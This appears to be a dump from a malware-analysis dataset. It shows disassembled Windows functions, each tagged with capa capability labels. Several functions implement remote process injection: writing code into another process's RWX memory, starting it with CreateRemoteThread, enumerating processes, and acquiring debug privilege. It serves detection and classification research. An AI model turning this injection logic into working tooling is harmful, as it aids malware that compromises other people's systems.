joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400024f0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rbx, [0x140001140]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001128]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007070], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001150]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007068], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001168]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007060], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001188]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007058], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007050], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007048], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011e4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007040], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011ec]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007038], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011f4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007030], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011fc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007028], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001204]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007020], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x14000120c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007018], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001214]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007010], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x14000121c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007008], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001224]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [section..data], rax
add rsp, 0x20
pop rbx
ret
Function at 0x140002968
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor r12d, r12d
mov rbx, rcx
mov edi, r12d
cmp dword [rax + rcx + 0x8c], r12d
je 0x1400029f3
mov esi, dword [rax + rcx + 0x88]
mov ebp, r12d
add rsi, rcx
mov r14d, dword [rsi + 0x1c]
mov r15d, dword [rsi + 0x20]
add r14, rcx
add r15, rcx
cmp dword [rsi + 0x14], r12d
jbe 0x1400029f3
mov eax, ebp
lea rdx, [0x1400016c4]
mov ecx, dword [r15 + rax*4]
add rcx, rbx
call qword [0x140007028]
test eax, eax
je 0x1400029e0
inc ebp
cmp ebp, dword [rsi + 0x14]
jb 0x1400029bd
jmp 0x1400029f3
mov ecx, dword [rsi + 0x24]
mov edx, ebp
add rcx, rbx
movzx eax, word [rcx + rdx*2]
mov edi, dword [r14 + rax*4]
add rdi, rbx
call fcn.140003c08
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
sub eax, dword [0x140007080]
mov rsi, qword [rsp + 0x50]
cmp eax, 0x7fff
cmova rdi, r12
mov rax, rdi
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140003728
Capabilities:
Check os version
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rdi, rcx
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rbp - 0x7c], 6
jb 0x140003766
mov eax, 2
jmp 0x14000383d
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ebx, ebx
xor ecx, ecx
lea rdx, [rsp + 0x20]
mov r8d, 0x30
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003803
mov ecx, dword [rsp + 0x78]
mov rax, qword [rsp + 0x20]
xor edx, edx
div rcx
test rdx, rdx
jne 0x1400037d3
cmp qword [rsp + 0x38], 0x1000
jne 0x1400037d3
cmp dword [rsp + 0x40], 0x1000
jne 0x1400037d3
cmp dword [rsp + 0x48], 0x20000
jne 0x1400037d3
cmp dword [rsp + 0x44], 4
jne 0x1400037d3
movabs rax, 0x74636a6e696d7678
cmp qword [rbx], rax
je 0x1400037ea
add rbx, qword [rsp + 0x38]
cmp rbx, 0x7fff0000
jae 0x14000375c
mov rcx, rbx
jmp 0x140003775
mov r8d, 0x20
mov rdx, rbx
mov rcx, rdi
call qword [0x140007040]
mov eax, 1
jmp 0x14000383d
lea rdx, [0x1400013b0]
call fcn.140002824
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0xa
mov edx, eax
call fcn.140002780
lea rdx, [0x1400013c4]
call fcn.140002824
mov r8d, 0x10
mov edx, ebx
call fcn.140002780
xor eax, eax
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140003858
Capabilities:
Accept command line arguments
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [0x1400012d8]
mov rcx, rax
call qword [0x140007010]
xor r13d, r13d
mov rdi, rax
test rax, rax
je 0x1400038bd
lea r14d, [r13 + 0x20]
add rdi, 0x2a
mov edx, r14d
mov rcx, rdi
call qword [0x140007008]
test rax, rax
jne 0x1400038dc
lea rdx, [0x140001308]
call fcn.140002824
xor al, al
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
sub rax, rdi
sar rax, 1
cmp rax, 2
jae 0x1400038ff
lea rdx, [0x140001320]
call fcn.140002824
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
jmp 0x1400038b8
lea rsi, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8, [rsi + 2]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140003929
lea rdx, [0x140001338]
jmp 0x1400038b8
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call qword [0x140007040]
xor edx, edx
mov r8, r15
lea ecx, [rdx + 4]
mov word [rsi + r15], r13w
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov r12, rax
test rax, rax
jne 0x140003977
lea rdx, [0x140001350]
call fcn.140002824
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0xa
mov edx, eax
call fcn.140002780
jmp 0x1400038bd
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x1400039a0
lea rdx, [0x140001368]
jmp 0x14000395a
mov r8, r14
mov rdx, rax
mov rcx, rbp
call qword [0x140007040]
call fcn.140003b20
mov rsi, rax
test rax, rax
je 0x1400038bd
mov eax, dword [rdi + 0x20]
lea rdx, [rbp + 0x18]
mov rcx, rsi
mov dword [rsp + 0x68], eax
call fcn.140003ab4
test al, al
je 0x1400038bd
lea rdx, [rsp + 0x68]
mov rcx, rsi
call fcn.140003ab4
test al, al
je 0x1400038bd
movsxd rcx, dword [rbp + 0x18]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 2]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
test rax, rax
jne 0x140003a1d
lea rdx, [0x140001380]
jmp 0x14000395a
mov eax, dword [rdi + 0x24]
lea rbx, [rdi + 0x28]
lea rbp, [rbx + rax*4]
jmp 0x140003a43
mov edx, dword [rbx]
mov rcx, rsi
add rdx, r14
call fcn.140003ab4
test al, al
je 0x1400038bd
add rbx, 4
cmp rbx, rbp
jne 0x140003a2a
movsxd rbx, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x140003a66
lea rdx, [0x140001398]
jmp 0x14000395a
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
jmp 0x1400038bf
Function at 0x140003bc4
Capabilities:
Set environment variable

Disassembly:
sub rsp, 0x448
xor eax, eax
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x434], eax
mov word [rsp + 0x20], ax
call fcn.140002700
lea rdx, [rsp + 0x20]
lea rcx, [0x140001280]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x448
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xc0
mov eax, 0x5a4d
mov r14, rdx
mov rsi, rcx
cmp word [rdx], ax
jne 0x140001548
movsxd r15, dword [rdx + 0x3c]
mov eax, 0x8664
add r15, rdx
cmp word [r15 + 4], ax
jne 0x140001548
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x140001548
xor r13d, r13d
lea rax, [rbp + 0x67]
mov dword [rbp + 0x67], r13d
mov rdx, r12
mov r8d, dword [r15 + 0x50]
mov rcx, rsi
mov qword [rsp + 0x20], rax
lea r9d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [0x140024050]
mov r9d, 0x1000
mov qword [rbp - 0x79], rax
mov r8, r14
mov rax, qword [0x140024030]
mov rdx, r12
mov qword [rbp - 0x71], rax
mov rcx, rsi
mov rax, qword [0x140024090]
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x51], 1
mov qword [rbp - 0x41], 1
mov qword [rbp - 0x61], r12
mov qword [rbp - 0x49], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001533
movzx ebx, word [r15 + 0x14]
mov edi, r13d
add rbx, 0x2c
cmp word [r15 + 6], r13w
je 0x1400011bb
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x1400011ac
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r14
add rdx, r12
mov qword [rsp + 0x20], r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001533
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140001180
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rsi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140001533
mov r9d, 0x40
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x79]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add dword [rbp + 0x12840fc0], eax
add eax, dword [rax]
invalid
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x57], rax
mov rdi, rax
test rax, rax
je 0x140001519
mov r9d, 0x1000
mov qword [rsp + 0x20], r13
lea r8, [0x140001570]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400014ea
mov qword [rsp + 0x30], r13
mov r9, rdi
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r14
jmp 0x140001536
mov rdx, r12
Function at 0x1400026f0
Capabilities:
Acquire debug privileges
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rcx, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
test rdi, rdi
je 0x140002add
test rcx, rcx
je 0x140002add
call fcn.14000d8f0
mov ebx, eax
test eax, eax
jne 0x140002734
lea eax, [rbx - 1]
jmp 0x140002adf
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor esi, esi
mov qword [rbp + 0x108], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x108]
lea edx, [rsi + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400027b8
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x5c], 2
lea r8, [rsp + 0x54]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1400027ab
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]

Function at 0x140006af0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x1400128c4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400126f0
Function at 0x401000
Capabilities:
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
movabs rax, 0
mov qword [rbp - 8], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, pe_nt_image_headers64
mov qword [rsp + 0x28], rax
mov eax, 3
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 1
mov r8, rax
mov eax, 0x80000000
mov r11, rax
mov rax, qword [rbp + 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateFileA
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x40108e
jmp 0x4010af
lea rax, str.____CreateFile_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetFileSize
mov qword [rbp - 0x20], rax
movabs rax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, dword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp + 0x20]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ReadFile
cmp eax, 0
je 0x40111b
jmp 0x40112d
lea rax, str.____ReadFile_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov eax, 0x40
mov qword [rsp + 0x20], rax
mov eax, 0x3000
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x40118b
jmp 0x40119d
lea rax, str.____VirtualAlloc_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
movabs rax, 0
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x20]
mov r9, rax
mov rax, qword [rbp + 0x20]
mov r8, rax
mov rax, qword [rbp - 8]
mov r11, rax
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 0
je 0x4011e1
jmp 0x40121b
lea rax, str.____ReadProcessMemory_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0x8000
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 8]
mov r11, rax
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualFreeEx
mov rax, qword [rbp - 8]
mov r11, rax
lea rax, str.___Shellcode_alloc_ed_at__p_n___Triggering_code..._n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0
mov qword [rsp + 0x28], rax
movabs rax, 0
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 8]
mov r9, rax
movabs rax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateRemoteThread
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
leave
ret
Function at 0x40100b
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
movabs rax, 0
mov qword [rbp - 8], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, pe_nt_image_headers64
mov qword [rsp + 0x28], rax
mov eax, 3
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 1
mov r8, rax
mov eax, 0x80000000
mov r11, rax
mov rax, qword [rbp + 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateFileA
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x40108e
jmp 0x4010af
lea rax, str.____CreateFile_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetFileSize
mov qword [rbp - 0x20], rax
movabs rax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, dword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp + 0x20]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ReadFile
cmp eax, 0
je 0x40111b
jmp 0x40112d
lea rax, str.____ReadFile_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov eax, 0x40
mov qword [rsp + 0x20], rax
mov eax, 0x3000
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x40118b
jmp 0x40119d
lea rax, str.____VirtualAlloc_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
movabs rax, 0
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x20]
mov r9, rax
mov rax, qword [rbp + 0x20]
mov r8, rax
mov rax, qword [rbp - 8]
mov r11, rax
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 0
je 0x4011e1
jmp 0x40121b
lea rax, str.____ReadProcessMemory_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0x8000
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 8]
mov r11, rax
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_VirtualFreeEx
mov rax, qword [rbp - 8]
mov r11, rax
lea rax, str.___Shellcode_alloc_ed_at__p_n___Triggering_code..._n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0
mov qword [rsp + 0x28], rax
movabs rax, 0
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 8]
mov r9, rax
movabs rax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateRemoteThread
mov rax, qword [rbp + 0x18]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
leave
ret
Function at 0x4012ac
Capabilities:
Enumerate processes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x170
mov qword [rbp + 0x10], rcx
mov eax, 0
mov r11, rax
mov eax, 2
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x4012ed
jmp 0x401313
lea rax, str.____Cant_list_processes_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
jmp 0x401463
mov eax, 0x130
mov dword [rbp - 0x140], eax
lea rax, [rbp - 0x140]
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_Process32First
cmp eax, 0
je 0x401348
jmp 0x40136e
lea rax, str.____Error_parsing_snapshot_of_processes_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
jmp 0x401463
mov eax, 0
mov dword [rbp - 0x144], eax
mov eax, dword [rbp - 0x144]
mov ecx, dword [rbp - 8]
cmp eax, ecx
jg 0x401463
jmp 0x4013a3
mov eax, dword [rbp - 0x144]
mov rcx, rax
add eax, 1
mov dword [rbp - 0x144], eax
jmp 0x401379
mov eax, dword [rbp - 0x138]
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0x1f0fff
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_OpenProcess
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x4013de
jmp 0x4013ff
lea rax, [rbp - 0x140]
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_Process32Next
jmp 0x40145e
mov eax, dword [rbp - 0x138]
mov r8, rax
lea rax, [rbp - 0x114]
mov r11, rax
lea rax, str.Injecting_in_process__s___d__n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x150]
mov r8, rax
mov rax, qword [rbp - 0x10]
mov r11, rax
mov rax, qword [rbp + 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
jmp 0x401463
jmp 0x40138f
leave
ret
Function at 0x4012b7
Capabilities:
Enumerate processes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x170
mov qword [rbp + 0x10], rcx
mov eax, 0
mov r11, rax
mov eax, 2
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x4012ed
jmp 0x401313
lea rax, str.____Cant_list_processes_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
jmp 0x401463
mov eax, 0x130
mov dword [rbp - 0x140], eax
lea rax, [rbp - 0x140]
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_Process32First
cmp eax, 0
je 0x401348
jmp 0x40136e
lea rax, str.____Error_parsing_snapshot_of_processes_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
jmp 0x401463
mov eax, 0
mov dword [rbp - 0x144], eax
mov eax, dword [rbp - 0x144]
mov ecx, dword [rbp - 8]
cmp eax, ecx
jg 0x401463
jmp 0x4013a3
mov eax, dword [rbp - 0x144]
mov rcx, rax
add eax, 1
mov dword [rbp - 0x144], eax
jmp 0x401379
mov eax, dword [rbp - 0x138]
mov r8, rax
mov eax, 0
mov r11, rax
mov eax, 0x1f0fff
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_OpenProcess
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x4013de
jmp 0x4013ff
lea rax, [rbp - 0x140]
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_Process32Next
jmp 0x40145e
mov eax, dword [rbp - 0x138]
mov r8, rax
lea rax, [rbp - 0x114]
mov r11, rax
lea rax, str.Injecting_in_process__s___d__n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x150]
mov r8, rax
mov rax, qword [rbp - 0x10]
mov r11, rax
mov rax, qword [rbp + 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
jmp 0x401463
jmp 0x40138f
leave
ret